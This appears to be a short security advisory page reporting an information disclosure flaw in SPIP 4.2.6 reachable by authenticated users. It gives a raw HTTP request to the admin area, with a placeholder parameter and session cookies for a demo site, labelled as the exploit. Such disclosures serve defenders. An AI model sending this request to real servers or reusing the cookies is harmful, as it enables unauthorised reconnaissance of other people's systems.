Spip-4.2.6 Server-side Information Disclosure

Risk: Medium
Local: Yes
Remote: Yes

## Title: Spip-4.2.6 Server-side Information Disclosure ## Author: nu11secur1ty ## Date: 10/21/2023 ## Vendor: https://www.spip.net/en_rubrique25.html ## Software: https://demo.spip.net/spip.php?page=login&lang=fr ## Reference: https://portswigger.net/web-security/information-disclosure ## Description: The already authenticated user can find all information about the server of this web application. This is very dangerous for the owner of the server and this web application. This can give many scenarios for an attack by the attacker. STATUS: HIGH- Vulnerability [+]Exploit: ``` GET /ecrire/?exec=VULNERABLE_CONTENT_OF_THE_PARAMETER&bonjour=oui HTTP/2 Host: demo.spip.net Cookie: spip_session=1_2b678f1cc3baf82c3ca0b49fa5b4aa3c; spip_admin=%40webmestre Cache-Control: max-age=0 Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://demo.spip.net/spip.php?page=login&url=%2Fecrire%2F%3Fexec%3Dinfo&lang=fr Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/SPIP/Spip-4.2.6) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/10/spip-v426-server-side-information.html) ## Time spent: 01:37:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2023, cxsecurity.com


Back to Top